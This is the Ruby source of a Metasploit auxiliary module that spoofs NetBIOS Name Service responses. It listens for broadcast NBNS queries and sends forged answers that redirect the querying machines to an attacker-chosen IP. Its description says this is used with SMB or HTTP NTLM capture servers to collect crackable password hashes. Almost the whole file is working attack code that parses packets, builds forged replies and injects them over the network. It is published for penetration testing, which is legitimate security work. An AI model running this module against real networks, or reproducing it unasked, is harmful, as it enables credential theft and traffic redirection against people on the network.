metasploit-framework/modules/auxiliary/spoof/nbns/nbns_response.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Capture

	def initialize
		super(
			'Name'           => 'NetBIOS Name Service Spoofer',
			'Description'    => %q{
					This module forges NetBIOS Name Service (NBNS) responses. It will listen for NBNS requests
					sent to the local subnet's broadcast address and spoof a response, redirecting the querying
					machine to an IP of the attacker's choosing. Combined with auxiliary/capture/server/smb or
					capture/server/http_ntlm it is a highly effective means of collecting crackable hashes on
					common networks.

					This module must be run as root and will bind to tcp/137 on all interfaces.
			},
			'Author'     => [ 'Tim Medin <tim[at]securitywhole.com>' ],
			'License'    => MSF_LICENSE,
			'References' =>
				[
					[ 'URL', 'http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html' ]
				],
			'Actions'		=>
				[
					[ 'Service' ]
				],
			'PassiveActions' =>
				[
					'Service'
				],
			'DefaultAction'  => 'Service'
		)

		register_options([
			OptAddress.new('SPOOFIP', [ true, "IP address with which to poison responses", "127.0.0.1"]),
			OptString.new('REGEX', [ true, "Regex applied to the NB Name to determine if spoofed reply is sent", '.*']),
		])

		register_advanced_options([
			OptBool.new('Debug', [ false, "Determines whether incoming packet parsing is displayed", false])
		])

		deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
	end

	def run
		check_pcaprub_loaded() # Check first since otherwise this is all for naught
		# MacOS X workaround
		::Socket.do_not_reverse_lookup = true

		@sock = ::UDPSocket.new()
		@sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
		@sock.bind('', 137) # couldn't specify srv host because it missed broadcasts

		@run = true

		print_status("NBNS Spoofer started. Listening for NBNS requests...")

		begin

		while @run # Not exactly thrilled we can never turn this off XXX fix this sometime.
			packet, addr = @sock.recvfrom(512)
			vprint_status("Packet Received from #{addr[3]}")

			rhost = addr[3]
			break if packet.length == 0

			nbnsq_transid      = packet[0..1]
			nbnsq_flags        = packet[2..3]
			nbnsq_questions    = packet[4..5]
			nbnsq_answerrr     = packet[6..7]
			nbnsq_authorityrr  = packet[8..9]
			nbnsq_additionalrr = packet[10..11]
			nbnsq_name         = packet[12..45]
			decoded = ""
			nbnsq_name.slice(1..-2).each_byte do |c|
				decoded << "#{(c - 65).to_s(16)}"
			end
			nbnsq_decodedname = "#{[decoded].pack('H*')}".strip()
			nbnsq_type         = packet[46..47]
			nbnsq_class        = packet[48..49]

			if (nbnsq_decodedname =~ /#{datastore['REGEX']}/i)

				vprint_status("Regex matched #{nbnsq_decodedname} from #{rhost}. Sending reply...")

				if datastore['DEBUG']
					print_status("transid:        #{nbnsq_transid.unpack('H4')}")
					print_status("tlags:          #{nbnsq_flags.unpack('B16')}")
					print_status("questions:      #{nbnsq_questions.unpack('n')}")
					print_status("answerrr:       #{nbnsq_answerrr.unpack('n')}")
					print_status("authorityrr:    #{nbnsq_authorityrr.unpack('n')}")
					print_status("additionalrr:   #{nbnsq_additionalrr.unpack('n')}")
					print_status("name:           #{nbnsq_name} #{nbnsq_name.unpack('H34')}")
					print_status("full name:      #{nbnsq_name.slice(1..-2)}")
					print_status("decoded:        #{decoded}")
					print_status("decoded name:   #{nbnsq_decodedname}")
					print_status("type:           #{nbnsq_type.unpack('n')}")
					print_status("class:          #{nbnsq_class.unpack('n')}")
				end

				# time to build a response packet - Oh YEAH!
				response = nbnsq_transid +
					"\x85\x00" + # Flags = response + authoratative + recursion desired +
					"\x00\x00" + # Questions = 0
					"\x00\x01" + # Answer RRs = 1
					"\x00\x00" + # Authority RRs = 0
					"\x00\x00" + # Additional RRs = 0
					nbnsq_name + # original query name
					nbnsq_type + # Type = NB ...whatever that means
					nbnsq_class+ # Class = IN
					"\x00\x04\x93\xe0" + # TTL = a long ass time
					"\x00\x06" + # Datalength = 6
					"\x00\x00" + # Flags B-node, unique = whet ever that means
					datastore['SPOOFIP'].split('.').collect(&:to_i).pack('C*')

				open_pcap

				p = PacketFu::UDPPacket.new
				p.ip_saddr = Rex::Socket.source_address(rhost)
				p.ip_daddr = rhost
				p.ip_ttl = 255
				p.udp_sport = 137
				p.udp_dport = 137
				p.payload = response
				p.recalc

				capture_sendto(p, rhost)

				close_pcap

			else
				vprint_status("Packet received from #{rhost} with name #{nbnsq_decodedname} did not match regex")
			end
		end

		rescue ::Exception => e
			print_error("nbnspoof: #{e.class} #{e} #{e.backtrace}")
		# Make sure the socket gets closed on exit
		ensure
			@sock.close
		end
	end
end